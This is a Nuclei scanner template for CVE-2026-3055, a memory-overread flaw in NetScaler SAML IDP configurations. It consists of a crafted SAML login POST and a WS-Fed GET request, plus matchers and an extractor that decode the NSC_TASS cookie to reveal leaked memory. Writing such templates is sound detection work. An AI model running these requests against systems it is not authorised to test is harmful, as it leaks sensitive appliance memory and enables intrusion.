id: CVE-2026-3055

info:
  name: "NetScaler - Information Disclosure"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Insufficient input validation in NetScaler ADC and NetScaler Gateway when configured as a SAML IDP leading to
    memory overread
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-3055&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=netscaler&match=exact
  classification:
    cve-id: CVE-2026-3055
  metadata:
    verified: false
  tags: cve,cve2026,netscaler,citrix,exposure,kev,vkev,vuln
flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /saml/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANCklEPSJfMSINClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpEZXN0aW5hdGlvbj0iaHR0cDovL3dhdGNodG93ci9zYW1sLnBocCIgDQpQcm90b2NvbEJpbmRpbmc9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpiaW5kaW5nczpIVFRQLVBPU1QiIA0KPg0KICA8c2FtbDpJc3N1ZXI%2BaHR0cDovL3dhdGNodG93ci9zYW1sLnBocDwvc2FtbDpJc3N1ZXI%2BDQo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D

      - |
        GET /wsfed/passive?wctx HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - regex('(?i)NSC_TASS=[A-Za-z0-9+/]+=*', set_cookie)
          - 'status_code == 302'
          - 'contains(base64_decode(nsc_tass), "wctx=")'
          - '!contains(body, "Parsing of presented Assertion failed")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - base64_decode(nsc_tass)